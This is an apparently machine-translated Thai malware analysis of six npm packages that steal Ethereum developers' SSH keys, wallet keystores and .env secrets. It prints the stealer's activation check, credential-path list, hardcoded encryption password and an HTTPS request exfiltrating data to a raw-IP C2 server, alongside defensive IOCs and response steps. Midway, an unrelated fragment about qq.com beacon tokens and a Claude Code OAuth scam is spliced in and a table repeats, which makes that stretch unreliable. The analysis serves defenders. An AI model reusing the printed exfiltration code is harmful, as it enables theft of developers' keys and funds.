TL; DR
เมื่อวันที่ 6 พฤษภาคม 2026 ผู้เผยแพร่ npm รายหนึ่ง... namikazesarada010206ได้ปล่อยแพ็กเกจมัลแวร์ 6 ตัวที่มุ่งเป้าไปที่ Ethereum, Solidity และระบบนิเวศของนักพัฒนา DeFi
แพ็คเกจต่างๆ viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utilsและ web3-utils-coreโดยใช้ชื่อที่ดูสมเหตุสมผล ซึ่งออกแบบมาให้ดูเหมือนไลบรารีตัวช่วยสำหรับเครื่องมือ Web3 ยอดนิยม
พัสดุทั้งหกกล่องบรรจุสิ่งของเหมือนกัน telemetry.js ไฟล์ดังกล่าวมีโครงสร้างไบต์เหมือนกันทุกประการทั่วทั้งคลัสเตอร์ โดยใช้ค่า SHA-256:
มัลแวร์จะไม่ทำงานในระหว่างการติดตั้ง ไม่มี preinstall or postinstall มันจะทำงานเมื่อมีการนำเข้าแพ็กเกจผ่านทาง hook แทน require().
รายละเอียดนั้นสำคัญ
มัลแวร์นี้จะรอจนกว่านักพัฒนาจะใช้งานแพ็กเกจจริง จากนั้นจะตรวจสอบว่าเวิร์กสเตชันนั้นมีลักษณะเหมือนสภาพแวดล้อมการพัฒนา Ethereum/Solidity จริงหรือไม่ โดยจะมองหาคีย์ Alchemy หรือ Infura, คีย์ส่วนตัว, ตัวช่วยจำ, คีย์สำหรับติดตั้ง หรือไดเร็กทอรี Foundry ในเครื่อง
หากโฮสต์ตรงกัน ผู้ขโมยจะรวบรวมคีย์ส่วนตัว SSH และคีย์สโตร์ของกระเป๋าเงิน Foundry / Geth / Brownie .env* ไฟล์และตัวแปรสภาพแวดล้อมที่ละเอียดอ่อน มันจะเข้ารหัสชุดข้อมูลด้วย AES-256-GCM โดยใช้รหัสผ่านที่กำหนดไว้ล่วงหน้า และส่งออกไปยังปลายทาง C2 แบบ IPv4 ดิบ โดยปิดใช้งานการตรวจสอบ TLS
ระบบ Malware Early Warning (MEW) ของ Xygeni ยืนยันว่าแพ็กเกจทั้งหกตัวเป็นมัลแวร์ รายงานการลบแพ็กเกจจาก npm registry กำลังอยู่ระหว่างดำเนินการ
กลุ่มผลิตภัณฑ์: หกแพ็กเกจ จากผู้เผยแพร่รายเดียว
บัญชีผู้จัดพิมพ์ namikazesarada010206 เชื่อมโยงกับที่อยู่อีเมล Gmail ที่ยังไม่ได้รับการยืนยัน namikazesarada010206@gmail.com.
แคมเปญนี้เปิดตัวในรูปแบบการเผยแพร่เพียงวันเดียวในวันที่ 6 พฤษภาคม 2026 โดยแพ็กเกจทั้งหกแบบมีเวอร์ชันที่แตกต่างกัน 1.0.0ไม่มีการพึ่งพาการทำงานใดๆ และมีเพียงสามไฟล์เท่านั้น:
package.json index.js telemetry.js นอกจากนี้ พวกเขายังประกาศใช้แหล่งเก็บซอร์สโค้ดเดียวกันด้วย:
https://github.com/harunosakura030303-maker/evmchain-config สามแพ็กเกจแรกถูกตรวจจับโดยโปรแกรมสแกน MEW ตั้งแต่การเผยแพร่ครั้งแรก ส่วนอีกสามแพ็กเกจที่เหลือถูกติดธงโดยบังคับหลังจากที่นักวิเคราะห์ตรวจสอบโปรไฟล์ npm ของผู้เผยแพร่แล้ว (เมื่อไบต์เหมือนกันทุกประการ) telemetry.js ได้รับการยืนยันทั่วทั้งคลัสเตอร์แล้ว และถูกปิดเนื่องจากถือว่าเป็นภัยคุกคามโดยพิจารณาจากความสอดคล้องกัน
| แพ็คเกจ | เวอร์ชั่น | เผยแพร่โดย npm | ตั๋ว MEW | คำตัดสิน |
|---|---|---|---|---|
| วีเอ็ม-คอร์ | 1.0.0 | 2026-05-06 01:38:44Z | #51049 | ร้าย |
| viem-utils-core | 1.0.0 | 2026-05-06 | #51050 | ร้าย |
| ยูทิลิตี้หลักของหมวกนิรภัย | 1.0.0 | 2026-05-06 | #51051 | ร้าย |
| อีวีเอ็ม-ยูทิลิตี้ | 1.0.0 | 2026-05-06 | #51069 | มุ่งร้ายอย่างสม่ำเสมอ |
| ยูทิลิตี้โรงหล่อ | 1.0.0 | 2026-05-06 | #51071 | มุ่งร้ายอย่างสม่ำเสมอ |
| เว็บ3-ยูทิลิตี้-คอร์ | 1.0.0 | 2026-05-06 | #51070 | มุ่งร้ายอย่างสม่ำเสมอ |
กลยุทธ์การตั้งชื่อนั้นเรียบง่ายแต่ได้ผลดี
แพ็กเกจเหล่านี้ไม่ได้แอบอ้างชื่อต้นฉบับอย่างตรงไปตรงมา แต่จะใช้คำต่อท้ายที่ดูสมเหตุสมผล เช่น -core, -utilsและ -utils-coreนั่นทำให้พวกมันดูเหมือนไลบรารีเสริมที่นักพัฒนาอาจคาดหวังว่าจะได้เห็นอยู่ใกล้กับเครื่องมือ Web3
| แพ็คเกจที่เป็นอันตราย | เป้าหมายที่ถูกต้อง |
|---|---|
| วีเอ็ม-คอร์ | viem เป็นไคลเอ็นต์ TypeScript ยอดนิยมสำหรับ Ethereum |
| viem-utils-core | ไวเอ็ม |
| ยูทิลิตี้หลักของหมวกนิรภัย | hardhat สภาพแวดล้อมการพัฒนา Solidity ที่เป็นที่นิยม |
| อีวีเอ็ม-ยูทิลิตี้ | เนมสเปซเครื่องมือ EVM ทั่วไป |
| ยูทิลิตี้โรงหล่อ | foundry คือชุดเครื่องมือ Solidity |
| เว็บ3-ยูทิลิตี้-คอร์ | web3-utils, ตัวช่วยสำหรับ Web3.js |
นี่คือรูปแบบ “แพ็กเกจเสริม”: ไม่ใช่ “ฉันคือแพ็กเกจหลัก” แต่เป็น “ฉันดูเหมือนผู้ช่วยที่เหมาะสมที่อยู่รอบๆ แพ็กเกจหลัก”
สำหรับนักพัฒนา DeFi ที่ดำเนินการอย่างรวดเร็ว นั่นก็เพียงพอที่จะสร้างความเสี่ยงได้แล้ว
จะเกิดอะไรขึ้นเมื่อนำเข้าพัสดุ
ห่วงโซ่การโจมตีมีขนาดเล็ก รอบคอบ และมุ่งเป้าไปที่สภาพแวดล้อมการพัฒนาคริปโตเคอร์เรนซี
ไม่มี hook สำหรับการติดตั้ง แต่ละแพ็คเกจจะประกอบด้วย... index.js ซึ่งส่งออกฟังก์ชันการทำงานแบบจำลอง แล้วโหลดโมดูลการส่งข้อมูลทางไกลที่เป็นอันตราย
require('./telemetry').init(); หมายความว่ามัลแวร์จะทำงานเมื่อนำเข้าครั้งแรก
นั่นเป็นประโยชน์ในทางปฏิบัติสำหรับผู้โจมตี สแกนเนอร์และแซนด์บ็อกซ์จำนวนมากมุ่งเน้นไปที่พฤติกรรมในระหว่างการติดตั้ง แพ็กเกจนี้จะรอจนกว่าจะถูกใช้งานจริงโดยนักพัฒนา สคริปต์การสร้าง ชุดทดสอบ หรือเส้นทางรันไทม์
เงื่อนไขการเปิดใช้งาน: เปิดใช้งานเฉพาะบนเวิร์กสเตชันสำหรับนักพัฒนา Web3 จริงเท่านั้น
ส่วนที่สำคัญที่สุดของอุปกรณ์ฝังในร่างกายคือ ประตูควบคุมการทำงาน
มัลแวร์จะตรวจสอบตัวแปรสภาพแวดล้อมที่พบได้ทั่วไปในเครื่องของนักพัฒนา Ethereum/Solidity:
const indicators = [ process.env.ALCHEMY_API_KEY, process.env.INFURA_KEY, process.env.PRIVATE_KEY, process.env.MNEMONIC, process.env.DEPLOYER_KEY, ].filter(Boolean); นอกจากนี้ยังตรวจสอบว่า Foundry ได้รับการติดตั้งแล้วหรือไม่:
fs.existsSync(path.join(os.homedir(), '.foundry')) หากเงื่อนไขทั้งสองไม่เป็นจริง ฟังก์ชันจะส่งคืนค่าและไม่ทำอะไรเลย
วิธีนี้จะทำให้แพ็กเกจทำงานเงียบลงในสภาพแวดล้อมการวิเคราะห์ทั่วไป ในสภาพแวดล้อมทดสอบที่ไม่มี Foundry, คีย์ Alchemy, คีย์ Infura, คีย์ส่วนตัว หรือตัวช่วยจำ อาจเห็นการนำเข้าที่ดูเหมือนไม่มีอันตรายใดๆ
บนโฮสต์ที่ตรงกัน มัลแวร์จะรอ 60 ถึง 90 วินาทีก่อนที่จะเริ่มเก็บข้อมูล:
setTimeout(() => { try { _collect(); } catch {} }, 60000 + Math.random() * 30000).unref(); ความล่าช้าทำให้ความสัมพันธ์ที่ชัดเจนระหว่างการนำเข้าและการส่งออกลดลง .unref() คำสั่ง call ยังช่วยให้กระบวนการโฮสต์ปิดตัวลงได้ตามปกติ หากมีการนำเข้าแพ็กเกจในสคริปต์ที่มีอายุสั้น
นี่ไม่ใช่พฤติกรรมการโจรกรรมแบบฉวยโอกาสและส่งเสียงดัง แต่เป็นการขโมยข้อมูลแบบเจาะจงเป้าหมาย ซึ่งออกแบบมาเพื่อหลีกเลี่ยงการทำงานเว้นแต่สภาพแวดล้อมการพัฒนาซอฟต์แวร์นั้นคุ้มค่าแก่การขโมย
สิ่งที่โจรสะสม
เมื่อผ่านด่านการเปิดใช้งานแล้ว มัลแวร์จะรวบรวมข้อมูลจากแหล่งที่สำคัญที่สุดในการพัฒนา Web3 ได้แก่ คีย์ส่วนตัว คีย์สโตร์ของกระเป๋าเงินดิจิทัล ข้อมูลรับรองการปรับใช้ ข้อมูลลับบนคลาวด์ โทเค็น npm และการกำหนดค่าโปรเจ็กต์ในเครื่อง
| แหล่ง | สิ่งที่รวบรวมไว้ |
|---|---|
| กระบวนการ.env | ตัวแปรใดๆ ที่ตรงกับ /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i |
| ~/.ssh/* | ไฟล์ที่มีข้อความ PRIVATE KEY หรือ BEGIN OPENSSH รวมทั้งเนื้อหาไฟล์ทั้งหมด |
| ~/.foundry/keystores/* | ไฟล์คีย์สโตร์กระเป๋าเงิน Foundry |
| ~/.ethereum/keystore/* | ไฟล์คีย์สโตร์กระเป๋าเงิน Geth |
| ~/.brownie/accounts/* | ไฟล์คีย์สโตร์กระเป๋าเงิน Brownie |
| ${cwd}/.env | เนื้อหาไฟล์ฉบับเต็ม |
| ${cwd}/.env.local | เนื้อหาไฟล์ฉบับเต็ม |
| ${cwd}/.env.production | เนื้อหาไฟล์ฉบับเต็ม |
| ${cwd}/.env.development | เนื้อหาไฟล์ฉบับเต็ม |
| os.hostname() | ข้อมูลเมตาของโฮสต์ |
| คริปโต.แรนดอมUUID() | ตัวระบุเหยื่อ/เซสชัน |
| วันที่ปัจจุบัน() | เวลาที่เก็บรวบรวม |
otheve.beacon.qq.com oth.str.beacon.qq.com h.trace.qq.com โทเค็น ATTA ได้แก่:
ATTA_ID 00400014144 ATTA_TOKEN 6478159937 เรายังไม่สามารถยืนยันได้ว่าข้อมูลการวัดระยะทางนั้นเป็นการวิเคราะห์ของโอเปอเรเตอร์เองหรือเป็นช่องทางที่สร้างรายได้แยกต่างหาก โทเค็น ATTA ในตัวอย่างทั้งสองที่เราตรวจสอบนั้นเหมือนกัน
กลุ่ม B: heibai
claude.hk การหลอกลวงแบบ OAuth + การโจรกรรม URL ANTHROPIC_BASE_URL
ตัวอย่างวันที่ 1 เมษายน เป็นตัวอย่างที่หยาบกว่าและเป็นส่วนแรกของการรณรงค์หาเสียง
heibai:2.1.88-claude.hk-4 เผยแพร่โดย wuguoqiangvip28บัญชีดังกล่าวถูกสร้างขึ้นเมื่อวันที่ 7 มิถุนายน 2025 แพ็กเกจดังกล่าวได้กำหนดเวอร์ชันของตัวเองไว้อย่างชัดเจนโดยอ้างอิงจากเวอร์ชันที่ถูกต้อง 2.1.88 การปลดปล่อยโดยมนุษย์
มันไม่สนใจเรื่องการโจมตีแบบ MITM ที่ใช้ใบรับรอง CA แต่จะโกหกผู้ใช้เกี่ยวกับจุดเชื่อมต่อ OAuth แทน
ส่วนเพิ่มเติมที่เป็นอันตรายบนซอร์สโค้ด Claude Code ที่รั่วไหลออกมานั้นประกอบด้วย:
| แหล่ง | สิ่งที่รวบรวมไว้ |
|---|---|
| กระบวนการ.env | ตัวแปรใดๆ ที่ตรงกับ /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i |
| ~/.ssh/* | ไฟล์ที่มีข้อความ PRIVATE KEY หรือ BEGIN OPENSSH รวมทั้งเนื้อหาไฟล์ทั้งหมด |
| ~/.foundry/keystores/* | ไฟล์คีย์สโตร์กระเป๋าเงิน Foundry |
| ~/.ethereum/keystore/* | ไฟล์คีย์สโตร์กระเป๋าเงิน Geth |
| ~/.brownie/accounts/* | ไฟล์คีย์สโตร์กระเป๋าเงิน Brownie |
| ${cwd}/.env | เนื้อหาไฟล์ฉบับเต็ม |
| ${cwd}/.env.local | เนื้อหาไฟล์ฉบับเต็ม |
| ${cwd}/.env.production | เนื้อหาไฟล์ฉบับเต็ม |
| ${cwd}/.env.development | เนื้อหาไฟล์ฉบับเต็ม |
| os.hostname() | ข้อมูลเมตาของโฮสต์ |
| คริปโต.แรนดอมUUID() | ตัวระบุเหยื่อ/เซสชัน |
| วันที่ปัจจุบัน() | เวลาที่เก็บรวบรวม |
รายชื่อเป้าหมายมีความเฉพาะเจาะจงมาก นี่ไม่ใช่การขโมยเบราว์เซอร์ทั่วไปหรือการเก็บรวบรวมข้อมูลประจำตัวแบบกว้างๆ แต่เป็นการมุ่งเป้าไปที่นักพัฒนาที่สร้าง ทดสอบ ปรับใช้ หรือดำเนินการแอปพลิเคชัน Ethereum
การรวมไฟล์คีย์สโตร์ของ Foundry, Geth และ Brownie นั้นมีความสำคัญเป็นอย่างยิ่ง ไฟล์เหล่านี้อาจแสดงถึงการเข้าถึงกระเป๋าเงินหรือข้อมูลประจำตัวของผู้ใช้งานโดยตรง หากผู้โจมตีสามารถนำไฟล์เหล่านี้ไปใช้ร่วมกับรหัสผ่าน คำช่วยจำ หรือข้อมูลลับของสภาพแวดล้อมได้ พวกเขาอาจสามารถโอนเงิน ปลอมตัวเป็นผู้ใช้งาน หรือแทรกแซงการทำงานของสัญญาอัจฉริยะได้
การเข้ารหัสก่อนการส่งข้อมูลออก
มัลแวร์จะเข้ารหัสข้อมูลที่รวบรวมได้ก่อนที่จะส่งออกไป
const key = crypto.createHash('sha256').update(K).digest(); const iv = crypto.randomBytes(12); const cipher = crypto.createCipheriv('aes-256-gcm', key, iv); รหัสผ่านที่กำหนดไว้ตายตัวคือ:
a]3Fk9$mP2xL7vQ8nR4wJ6yB0tH5cE1d ข้อมูลสุดท้ายจะถูกห่อหุ้มในรูปแบบ JSON:
{"v":2,"iv":"<base64>","d":"<base64-ciphertext>","t":"<base64-gcm-tag>"} การเข้ารหัสไม่ได้ทำให้มัลแวร์มีความซับซ้อนมากขึ้นด้วยตัวมันเอง อย่างไรก็ตาม มันทำให้การตรวจสอบเครือข่ายทำได้ยากขึ้น ผู้ป้องกันที่เฝ้าดูการส่งออกจะเห็นข้อมูลในรูปแบบ JSON แต่จะไม่เห็นกุญแจที่ถูกขโมย ไฟล์กระเป๋าเงิน หรือข้อมูลอื่นๆ .env เนื้อหาที่ไม่มีรหัสผ่านและตรรกะการถอดรหัสที่กำหนดไว้ล่วงหน้า
การส่งข้อมูลออกไปยังเซิร์ฟเวอร์ควบคุมและสั่งการ (C2) ที่ใช้ IPv4 ดิบ
เส้นทางการหลบหนีถูกกำหนดไว้ตายตัวแล้ว:
const req = https.request({ hostname: '76.13.37.80', port: 8443, path: '/api/v1/telemetry', method: 'POST', headers: { 'Content-Type': 'application/json', ... }, rejectUnauthorized: false, timeout: 8000, }, () => {}); มัลแวร์ส่งข้อมูลไปยัง:
https://76.13.37.80:8443/api/v1/telemetry มีรายละเอียดสองอย่างที่โดดเด่น
ประการแรก C2 เป็นที่อยู่ IPv4 ดิบ ไม่ใช่โดเมน ซึ่งทำให้ไม่จำเป็นต้องจดทะเบียนโดเมนและหลีกเลี่ยงการตรวจจับที่อิงตามโดเมนบางอย่างได้
ประการที่สอง การตรวจสอบ TLS ถูกปิดใช้งานด้วย:
rejectUnauthorized: false นั่นทำให้มัลแวร์สามารถยอมรับใบรับรองใดๆ ก็ได้ รวมถึงใบรับรองที่ลงนามด้วยตนเอง กล่าวอีกนัยหนึ่ง ผู้โจมตีจะได้รับการส่งข้อมูลที่เข้ารหัสโดยไม่จำเป็นต้องมีใบรับรองสาธารณะที่ถูกต้อง
ไม่มีกลไกการลองใหม่และไม่มีโฮสต์สำรอง ข้อผิดพลาดจะถูกซ่อนไว้โดยไม่แจ้งให้ทราบ ซึ่งจะทำให้แพ็กเกจทำงานได้อย่างเงียบ ๆ หากเซิร์ฟเวอร์ควบคุม (C2) ออฟไลน์หรือไม่สามารถเข้าถึงได้
เหตุใดแคมเปญนี้จึงสำคัญ
แพ็กเกจ npm ที่มุ่งร้ายต่อนักพัฒนาส่วนใหญ่มักพยายามขโมยข้อมูลประจำตัวทั่วไป เช่น โทเค็น npm, คีย์ AWS, โทเค็น GitHub หรืออื่นๆ .npmrc ไฟล์
แคมเปญนี้จำกัดกลุ่มเป้าหมายให้แคบลง
มันจะมองหาสัญญาณที่บ่งชี้ว่าเครื่องนั้นเป็นของนักพัฒนา Ethereum หรือ Solidity จากนั้นมันจะดึงเฉพาะสินทรัพย์ที่สำคัญในสภาพแวดล้อมนั้นออกมา ได้แก่ คีย์สโตร์ของกระเป๋าเงิน คีย์ส่วนตัว ตัวช่วยจำ คีย์สำหรับติดตั้งใช้งาน เป็นต้น .env ไฟล์และคีย์ SSH
นั่นทำให้แคมเปญนี้เป็นอันตรายต่อทีม Web3 มากกว่าการขโมย npm ทั่วไป
การติดเชื้อที่ประสบความสำเร็จอาจทำให้พบสิ่งต่อไปนี้:
- กระเป๋าเงินสำหรับการปรับใช้
- คีย์ผู้ดูแลระบบสัญญาอัจฉริยะ
- คีย์ผู้ให้บริการ RPC
- ข้อมูลรับรองการปรับใช้ระบบคลาวด์
- โทเค็นการเผยแพร่ npm
- การเข้าถึงผ่าน SSH ไปยังโครงสร้างพื้นฐานสำหรับนักพัฒนาหรือการสร้าง
- ความลับของโครงการถูกเก็บไว้ใน
.envไฟล์ - คีย์สโตร์กระเป๋าเงินสำหรับ Foundry, Geth หรือ Brownie
ชื่อแพ็กเกจยังแสดงให้เห็นถึงการใช้กลวิธีทางสังคมอย่างชัดเจน โดยมุ่งเป้าไปที่ระบบนิเวศของนักพัฒนา Web3 ผ่านชื่อเครื่องมือที่คุ้นเคย: viem, hardhat, foundry, evmและ web3.
นักแสดงไม่จำเป็นต้องทำให้โปรเจกต์หลักเสียหาย พวกเขาแค่ต้องการนักพัฒนาซอฟต์แวร์เพื่อติดตั้งแพ็กเกจเสริมที่ดูเหมือนจะเหมาะสมเท่านั้น
ตัวบ่งชี้การถูกบุกรุกและการตรวจจับ
| แพ็กเกจและผู้เผยแพร่ | |
|---|---|
| สนาม | ความคุ้มค่า |
| npm publisher | namikazesarada010206 |
| อีเมลผู้จัดพิมพ์ | namikazesarada010206@gmail.com |
| ยืนยันอีเมลแล้ว | ไม่ |
| SCM การตรวจสอบแล้ว | ไม่ |
| คะแนนชื่อเสียง | 1.0 |
| แบบรวดเร็ว | viem-core, viem-utils-core, hardhat-core-utils, evm-utils, โรงหล่อ-utils, web3-utils-core |
| รุ่น | 1.0.0 ทั้งหมด |
| ที่เก็บซอร์สโค้ด | https://github.com/harunosakura030303-maker/evmchain-config |
| ยืนยันแล้วว่าเป็นอันตราย | แพ็คเกจทั้งหก |
| เครือข่าย | |
|---|---|
| ประเภท | ความคุ้มค่า |
| จุดสิ้นสุด C2 | https://76.13.37.80:8443/api/v1/telemetry |
| ซี2 ไอพี | 76.13.37.80 |
| พอร์ต C2 | 8443/ตัน |
| พฤติกรรม TLS | ปฏิเสธไม่ได้รับอนุญาต: เท็จ |
| โครงสร้างข้อมูลเพย์โหลด | {"v":2,"iv": ,"d": "t": } |
| ไฟล์และแฮช | |
|---|---|
| ประเภท | ความคุ้มค่า |
| telemetry.js SHA-256 | 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1 |
| การจัดวางบรรจุภัณฑ์ | package.json, index.js, telemetry.js |
| จำนวนไฟล์ | 3 |
| ขนาดโดยรวมโดยประมาณ | 3.4 KB |
สัญญาณกระตุ้น
มัลแวร์จะตรวจสอบตัวแปรสภาพแวดล้อมเหล่านี้:
ALCHEMY_API_KEY INFURA_KEY PRIVATE_KEY MNEMONIC DEPLOYER_KEY นอกจากนี้ยังตรวจสอบสิ่งต่อไปนี้ด้วย:
~/.foundry/ เส้นทางโฮสต์เป้าหมาย
~/.ssh/* ~/.foundry/keystores/* ~/.ethereum/keystore/* ~/.brownie/accounts/* ${cwd}/.env ${cwd}/.env.local ${cwd}/.env.production ${cwd}/.env.development คอลเลกชัน Regex
/TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i หมายเหตุการตรวจจับ
มีกฎหลายข้อที่ครอบคลุมแคมเปญนี้โดยไม่จำเป็นต้องวิเคราะห์พฤติกรรมอย่างละเอียด
ขั้นแรก ให้สแกนไฟล์ล็อกเพื่อค้นหาชื่อแพ็กเกจที่เป็นอันตรายทั้งหกชื่อ:
viem-core viem-utils-core hardhat-core-utils evm-utils foundry-utils web3-utils-core การแข่งขันใดๆ ใน package-lock.json, yarn.lock, pnpm-lock.yamlหรือ node_modules เหตุการณ์ในอดีตควรได้รับการพิจารณาว่าเป็นเหตุการณ์ร้ายแรง
ประการที่สอง ตรวจสอบกระบวนการ Node.js ที่อ่านเส้นทางคีย์สโตร์ของกระเป๋าเงิน:
~/.foundry/keystores/ ~/.ethereum/keystore/ ~/.brownie/accounts/ นี่ไม่ใช่พฤติกรรมปกติสำหรับแพ็กเกจที่นำเข้าเป็นส่วนประกอบเสริม โดยเฉพาะอย่างยิ่งหากมีการส่งข้อมูลออกทางเครือข่ายตามมา
ประการที่สาม ให้บล็อกหรือแจ้งเตือนเมื่อมีการเชื่อมต่อ HTTPS ไปยัง:
76.13.37.80:8443 โดยเฉพาะอย่างยิ่งเมื่อเส้นทางการร้องขอเป็นดังนี้:
/api/v1/telemetry ประการที่สี่ ค้นหาแพ็กเกจ npm ที่รวมคุณสมบัติเหล่านี้ไว้ด้วยกัน:
- สำนักพิมพ์ใหม่หรือมีชื่อเสียงน้อย
- บัญชี Gmail ที่ยังไม่ได้รับการยืนยัน
- ชื่อแพ็กเกจที่เกี่ยวข้องกับ Web3
- ไม่มีประวัติคลังข้อมูลที่มีความหมาย
- รูปแบบบรรจุภัณฑ์ขนาดเล็ก
index.jsที่โหลดไฟล์ข้อมูลการวัดระยะทางหรือไฟล์ช่วยเหลือ- ไม่มีการพึ่งพาการทำงานในขณะรันไทม์
- การเก็บรวบรวมตัวแปรสภาพแวดล้อมที่ละเอียดอ่อน
- การเข้าถึงคีย์สโตร์กระเป๋าเงิน
รูปแบบนี้มีประโยชน์มากกว่า IOC ตัวเดียว เพราะแพ็กเกจถัดไปอาจเปลี่ยนที่อยู่ IP แต่ยังคงใช้ตรรกะการกำหนดเป้าหมายเดิม
รายการตรวจสอบการตอบสนองต่อการประนีประนอม
หากนักพัฒนาใช้หนึ่งในหกแพ็กเกจดังกล่าว และสภาพแวดล้อมของพวกเขาตรงกับเกณฑ์การเปิดใช้งาน ให้ถือว่าเวิร์กสเตชันนั้นถูกบุกรุก
ซึ่งรวมถึงเครื่องที่มีการติดตั้ง Foundry, คีย์ Alchemy หรือ Infura ในสภาพแวดล้อม, คีย์ส่วนตัว, ตัวช่วยจำ หรือคีย์สำหรับการติดตั้งใช้งาน
คำตอบที่แนะนำ:
- ถอดการเชื่อมต่อโฮสต์ออกจากเครือข่าย
- อนุรักษ์
node_modulesรวมถึงไฟล์ล็อก, ประวัติการใช้งานเชลล์ และบันทึกข้อมูลที่เกี่ยวข้องสำหรับการตรวจสอบทางนิติวิทยาศาสตร์ - หมุนเวียนคู่คีย์ SSH ทุกคู่ภายใต้
~/.ssh/. - หมุนเวียนคีย์กระเป๋าเงินสำหรับคีย์สโตร์ทุกแห่งภายใต้
~/.foundry,~/.ethereumและ~/.brownie. - โอนเงินไปยังกระเป๋าเงินดิจิทัลใหม่
- หมุนเวียนความลับทุกอย่างที่เก็บไว้ใน
.env*ไฟล์ในที่เก็บข้อมูลที่นักพัฒนาได้ทำงานอยู่ - หมุนเวียนข้อมูลลับของสภาพแวดล้อมที่ตรงกับนิพจน์ทั่วไปของชุดข้อมูล รวมถึงคีย์ AWS, โทเค็น npm, โทเค็นการปรับใช้, คีย์ API, คีย์ส่วนตัว, ซีด และตัวย่อช่วยจำ
- ตรวจสอบการทำงานของระบบคลาวด์, npm, GitHub, ผู้ให้บริการ RPC และบล็อกเชน นับตั้งแต่ติดตั้งแพ็กเกจครั้งแรก
- ติดตั้งระบบปฏิบัติการใหม่ให้กับเวิร์กสเตชันก่อนนำกลับมาใช้งานอีกครั้ง
สิ่งที่ผู้เล่นตำแหน่งกองหลังควรจดจำไว้
แคมเปญนี้แสดงให้เห็นว่าการจดทะเบียนชื่อโดเมนโดยมิชอบด้วยตัวอักษร (typosquatting) ใน npm กำลังพัฒนาไปอย่างไรในระบบนิเวศของนักพัฒนาที่มีมูลค่าสูง
นักแสดงไม่จำเป็นต้องมีการคงอยู่ พวกเขาไม่จำเป็นต้องปกปิด พวกเขาไม่จำเป็นต้องเรียกใช้งานในระหว่างการติดตั้งด้วยซ้ำ
แต่พวกเขาอาศัยสามสิ่งต่อไปนี้:
- ชื่อแพ็กเกจ Web3 ที่เป็นไปได้
- เปิดใช้งานได้เฉพาะบนเครื่องพัฒนาคริปโตเคอร์เรนซีจริงเท่านั้น
- การขโมยไฟล์และข้อมูลลับที่สำคัญที่สุดสำหรับนักพัฒนา Ethereum โดยตรง
นั่นทำให้แคมเปญนี้ถูกมองข้ามได้ง่ายในการสแกนแบบกว้างๆ และเป็นอันตรายเมื่อปรากฏในสภาพแวดล้อมที่เหมาะสม
สำหรับทีม Web3 บทเรียนนั้นชัดเจน: จงพิจารณาชื่อของส่วนประกอบที่จำเป็น (dependency names) เป็นส่วนหนึ่งของแบบจำลองภัยคุกคาม (threshold model) แพ็กเกจที่ดูเหมือนจะเป็นตัวช่วยที่ไม่เป็นอันตราย อาจกลายเป็นเส้นทางที่สั้นที่สุดไปสู่การถูกโจมตีกระเป๋าเงินดิจิทัลได้
ได้รายงานไปยัง npm registry แล้ว เราจะอัปเดตโพสต์นี้เมื่อบัญชีผู้เผยแพร่และแพ็กเกจถูกลบออกแล้ว




